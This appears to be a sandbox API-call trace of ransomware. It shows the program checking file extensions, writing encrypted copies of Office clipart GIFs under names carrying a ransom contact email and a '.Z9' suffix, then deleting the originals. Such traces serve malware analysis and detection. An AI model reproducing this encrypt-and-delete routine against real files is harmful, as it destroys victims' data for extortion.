	[0081.447] lstrlenW (lpString=".bz2") returned 4
	[0081.447] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0081.447] lstrlenW (lpString=".7z") returned 3
	[0081.447] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0081.447] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00103_.GIF") returned 68
	[0081.447] lstrlenW (lpString=".dbf") returned 4
	[0081.447] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0081.447] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00103_.GIF") returned 68
	[0081.447] lstrlenW (lpString=".1cd") returned 4
	[0081.447] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0081.447] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00103_.GIF") returned 68
	[0081.448] lstrlenW (lpString=".jpg") returned 4
	[0081.448] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0081.448] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00103_.GIF") returned 68
	[0081.448] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00103_.GIF") returned 68
	[0081.448] lstrlenW (lpString=".doc") returned 4
	[0081.448] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0081.448] lstrlenW (lpString=".docx") returned 5
	[0081.448] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1
	[0081.448] lstrlenW (lpString=".pdf") returned 4
	[0081.448] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0081.448] lstrlenW (lpString=".xls") returned 4
	[0081.448] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0081.448] lstrlenW (lpString=".xlsx") returned 5
	[0081.448] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1
	[0081.448] lstrlenW (lpString=".ppt") returned 4
	[0081.448] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0081.448] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00103_.GIF") returned 68
	[0081.448] lstrlenW (lpString=".zip") returned 4
	[0081.448] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0081.448] lstrlenW (lpString=".rar") returned 4
	[0081.448] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0081.448] lstrlenW (lpString=".bz2") returned 4
	[0081.448] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0081.448] lstrlenW (lpString=".7z") returned 3
	[0081.448] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0081.448] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00103_.GIF") returned 68
	[0081.448] lstrlenW (lpString=".dbf") returned 4
	[0081.448] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0081.448] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00103_.GIF") returned 68
	[0081.448] lstrlenW (lpString=".1cd") returned 4
	[0081.448] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0081.448] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00103_.GIF") returned 68
	[0081.448] lstrlenW (lpString=".jpg") returned 4
	[0081.448] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0081.449] lstrcmpiW (lpString1=".GIF", lpString2=".Z9") returned -1
	[0081.449] lstrlenW (lpString="AG00135_.GIF") returned 12
	[0081.449] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00135_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00135_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338
	[0081.450] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x2d4ff14 | out: lpFileSize=0x2d4ff14*=2596) returned 1
	[0081.450] CloseHandle (hObject=0x338) returned 1
	[0081.450] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00135_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00135_.gif")) returned 0x220
	[0081.450] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00135_.GIF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00135_.gif.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0081.452] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00135_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00135_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358
	[0081.452] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0081.452] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0081.452] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00135_.GIF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00135_.gif.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320
	[0081.452] GetLastError () returned 0x0
	[0081.452] ReadFile (in: hFile=0x358, lpBuffer=0x32cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesRead=0x2d4fecc*=0xa24, lpOverlapped=0x0) returned 1
	[0081.461] WriteFile (in: hFile=0x320, lpBuffer=0x32cc020*, nNumberOfBytesToWrite=0xa30, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesWritten=0x2d4fc94*=0xa30, lpOverlapped=0x0) returned 1
	[0081.462] ReadFile (in: hFile=0x358, lpBuffer=0x32cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesRead=0x2d4fecc*=0x0, lpOverlapped=0x0) returned 1
	[0081.462] WriteFile (in: hFile=0x320, lpBuffer=0x32cc020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesWritten=0x2d4fc94*=0xec, lpOverlapped=0x0) returned 1
	[0081.462] SetEndOfFile (hFile=0x320) returned 1
	[0081.462] CloseHandle (hObject=0x320) returned 1
	[0081.463] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0081.463] SetEndOfFile (hFile=0x358) returned 1
	[0081.464] CloseHandle (hObject=0x358) returned 1
	[0081.464] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00135_.GIF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0081.464] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00135_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00135_.gif")) returned 1
	[0081.465] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00135_.GIF") returned 68
	[0081.465] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00135_.GIF") returned 68
	[0081.465] lstrlenW (lpString=".doc") returned 4
	[0081.465] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0081.465] lstrlenW (lpString=".docx") returned 5
	[0081.465] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1
	[0081.465] lstrlenW (lpString=".pdf") returned 4
	[0081.465] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0081.465] lstrlenW (lpString=".xls") returned 4
	[0081.465] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0081.465] lstrlenW (lpString=".xlsx") returned 5
	[0081.465] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1
	[0081.465] lstrlenW (lpString=".ppt") returned 4
	[0081.465] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0081.465] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00135_.GIF") returned 68
	[0081.465] lstrlenW (lpString=".zip") returned 4
	[0081.465] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0081.465] lstrlenW (lpString=".rar") returned 4
	[0081.465] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0081.465] lstrlenW (lpString=".bz2") returned 4
	[0081.465] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0081.465] lstrlenW (lpString=".7z") returned 3
	[0081.465] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0081.465] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00135_.GIF") returned 68
	[0081.465] lstrlenW (lpString=".dbf") returned 4
	[0081.465] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0081.465] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00135_.GIF") returned 68
	[0081.465] lstrlenW (lpString=".1cd") returned 4
	[0081.465] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0081.465] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00135_.GIF") returned 68
	[0081.466] lstrlenW (lpString=".jpg") returned 4
	[0081.466] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0081.466] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00135_.GIF") returned 68
	[0081.466] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00135_.GIF") returned 68
	[0081.466] lstrlenW (lpString=".doc") returned 4
	[0081.466] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0081.466] lstrlenW (lpString=".docx") returned 5
	[0081.466] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1
	[0081.466] lstrlenW (lpString=".pdf") returned 4
	[0081.466] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0081.466] lstrlenW (lpString=".xls") returned 4
	[0081.466] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0081.466] lstrlenW (lpString=".xlsx") returned 5
	[0081.466] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1
	[0081.466] lstrlenW (lpString=".ppt") returned 4
	[0081.466] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0081.466] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00135_.GIF") returned 68
	[0081.466] lstrlenW (lpString=".zip") returned 4
	[0081.466] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0081.466] lstrlenW (lpString=".rar") returned 4
	[0081.466] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0081.466] lstrlenW (lpString=".bz2") returned 4
	[0081.466] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0081.466] lstrlenW (lpString=".7z") returned 3
	[0081.466] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0081.466] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00135_.GIF") returned 68
	[0081.466] lstrlenW (lpString=".dbf") returned 4
	[0081.466] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0081.466] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00135_.GIF") returned 68
	[0081.466] lstrlenW (lpString=".1cd") returned 4
	[0081.466] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0081.466] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00135_.GIF") returned 68
	[0081.466] lstrlenW (lpString=".jpg") returned 4
	[0081.466] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0081.467] lstrcmpiW (lpString1=".GIF", lpString2=".Z9") returned -1
	[0081.467] lstrlenW (lpString="AG00142_.GIF") returned 12
	[0081.467] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00142_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00142_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c
	[0081.473] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x2d4ff14 | out: lpFileSize=0x2d4ff14*=15308) returned 1
	[0081.473] CloseHandle (hObject=0x38c) returned 1
	[0081.474] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00142_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00142_.gif")) returned 0x220
	[0081.474] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00142_.GIF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00142_.gif.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0081.474] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00142_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00142_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c
	[0081.474] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0081.474] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0081.474] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00142_.GIF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00142_.gif.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338
	[0081.475] GetLastError () returned 0x0
	[0081.475] ReadFile (in: hFile=0x38c, lpBuffer=0x32cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesRead=0x2d4fecc*=0x3bcc, lpOverlapped=0x0) returned 1
	[0081.495] WriteFile (in: hFile=0x338, lpBuffer=0x32cc020*, nNumberOfBytesToWrite=0x3bd0, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesWritten=0x2d4fc94*=0x3bd0, lpOverlapped=0x0) returned 1
	[0081.496] ReadFile (in: hFile=0x38c, lpBuffer=0x32cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesRead=0x2d4fecc*=0x0, lpOverlapped=0x0) returned 1
	[0081.496] WriteFile (in: hFile=0x338, lpBuffer=0x32cc020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesWritten=0x2d4fc94*=0xec, lpOverlapped=0x0) returned 1
	[0081.496] SetEndOfFile (hFile=0x338) returned 1
	[0081.496] CloseHandle (hObject=0x338) returned 1
	[0081.497] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0081.497] SetEndOfFile (hFile=0x38c) returned 1
	[0081.499] CloseHandle (hObject=0x38c) returned 1
	[0081.499] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00142_.GIF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0081.499] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00142_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00142_.gif")) returned 1
	[0081.499] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00142_.GIF") returned 68
	[0081.499] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00142_.GIF") returned 68
	[0081.499] lstrlenW (lpString=".doc") returned 4
	[0081.499] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0081.499] lstrlenW (lpString=".docx") returned 5
	[0081.499] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1
	[0081.499] lstrlenW (lpString=".pdf") returned 4
	[0081.499] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0081.499] lstrlenW (lpString=".xls") returned 4
	[0081.499] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0081.499] lstrlenW (lpString=".xlsx") returned 5
	[0081.499] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1
	[0081.499] lstrlenW (lpString=".ppt") returned 4
	[0081.499] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0081.500] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00142_.GIF") returned 68
	[0081.500] lstrlenW (lpString=".zip") returned 4
	[0081.500] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0081.500] lstrlenW (lpString=".rar") returned 4
	[0081.500] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0081.500] lstrlenW (lpString=".bz2") returned 4
	[0081.500] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0081.500] lstrlenW (lpString=".7z") returned 3
	[0081.500] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0081.500] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00142_.GIF") returned 68
	[0081.500] lstrlenW (lpString=".dbf") returned 4
	[0081.500] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0081.500] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00142_.GIF") returned 68
	[0081.500] lstrlenW (lpString=".1cd") returned 4
	[0081.500] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0081.500] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00142_.GIF") returned 68
	[0081.500] lstrlenW (lpString=".jpg") returned 4
	[0081.500] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0081.500] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00142_.GIF") returned 68
	[0081.500] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00142_.GIF") returned 68
	[0081.500] lstrlenW (lpString=".doc") returned 4
	[0081.500] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0081.500] lstrlenW (lpString=".docx") returned 5
	[0081.500] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1
	[0081.500] lstrlenW (lpString=".pdf") returned 4
	[0081.500] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0081.500] lstrlenW (lpString=".xls") returned 4
	[0081.500] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0081.500] lstrlenW (lpString=".xlsx") returned 5
	[0081.500] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1
	[0081.500] lstrlenW (lpString=".ppt") returned 4
	[0081.500] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0081.500] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00142_.GIF") returned 68
	[0081.500] lstrlenW (lpString=".zip") returned 4
	[0081.500] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0081.500] lstrlenW (lpString=".rar") returned 4
	[0081.501] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0081.501] lstrlenW (lpString=".bz2") returned 4
	[0081.501] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0081.501] lstrlenW (lpString=".7z") returned 3
	[0081.501] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0081.501] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00142_.GIF") returned 68
	[0081.501] lstrlenW (lpString=".dbf") returned 4
	[0081.501] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0081.501] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00142_.GIF") returned 68
	[0081.501] lstrlenW (lpString=".1cd") returned 4
	[0081.501] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0081.501] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00142_.GIF") returned 68
	[0081.501] lstrlenW (lpString=".jpg") returned 4
	[0081.501] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0081.501] lstrcmpiW (lpString1=".GIF", lpString2=".Z9") returned -1
	[0081.501] lstrlenW (lpString="AG00160_.GIF") returned 12
	[0081.501] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00160_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00160_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c
	[0081.501] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x2d4ff14 | out: lpFileSize=0x2d4ff14*=1146) returned 1
	[0081.501] CloseHandle (hObject=0x38c) returned 1
	[0081.501] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00160_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00160_.gif")) returned 0x220
	[0081.501] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00160_.GIF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00160_.gif.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0081.502] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00160_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00160_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c
	[0081.502] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0081.502] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0081.502] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00160_.GIF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00160_.gif.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338
	[0081.502] GetLastError () returned 0x0
	[0081.502] ReadFile (in: hFile=0x38c, lpBuffer=0x32cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesRead=0x2d4fecc*=0x47a, lpOverlapped=0x0) returned 1
	[0081.509] WriteFile (in: hFile=0x338, lpBuffer=0x32cc020*, nNumberOfBytesToWrite=0x480, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesWritten=0x2d4fc94*=0x480, lpOverlapped=0x0) returned 1
	[0081.510] ReadFile (in: hFile=0x38c, lpBuffer=0x32cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesRead=0x2d4fecc*=0x0, lpOverlapped=0x0) returned 1
	[0081.510] WriteFile (in: hFile=0x338, lpBuffer=0x32cc020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesWritten=0x2d4fc94*=0xec, lpOverlapped=0x0) returned 1
	[0081.510] SetEndOfFile (hFile=0x338) returned 1
	[0081.511] CloseHandle (hObject=0x338) returned 1
	[0081.511] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0081.511] SetEndOfFile (hFile=0x38c) returned 1
	[0081.512] CloseHandle (hObject=0x38c) returned 1
	[0081.512] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00160_.GIF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0081.512] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00160_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00160_.gif")) returned 1
	[0081.513] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00160_.GIF") returned 68
	[0081.513] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00160_.GIF") returned 68
	[0081.513] lstrlenW (lpString=".doc") returned 4
	[0081.513] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0081.513] lstrlenW (lpString=".docx") returned 5
	[0081.513] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1
	[0081.513] lstrlenW (lpString=".pdf") returned 4
	[0081.513] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0081.513] lstrlenW (lpString=".xls") returned 4
	[0081.513] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0081.513] lstrlenW (lpString=".xlsx") returned 5
	[0081.513] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1
	[0081.513] lstrlenW (lpString=".ppt") returned 4
	[0081.513] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0081.513] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00160_.GIF") returned 68
	[0081.513] lstrlenW (lpString=".zip") returned 4
	[0081.513] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
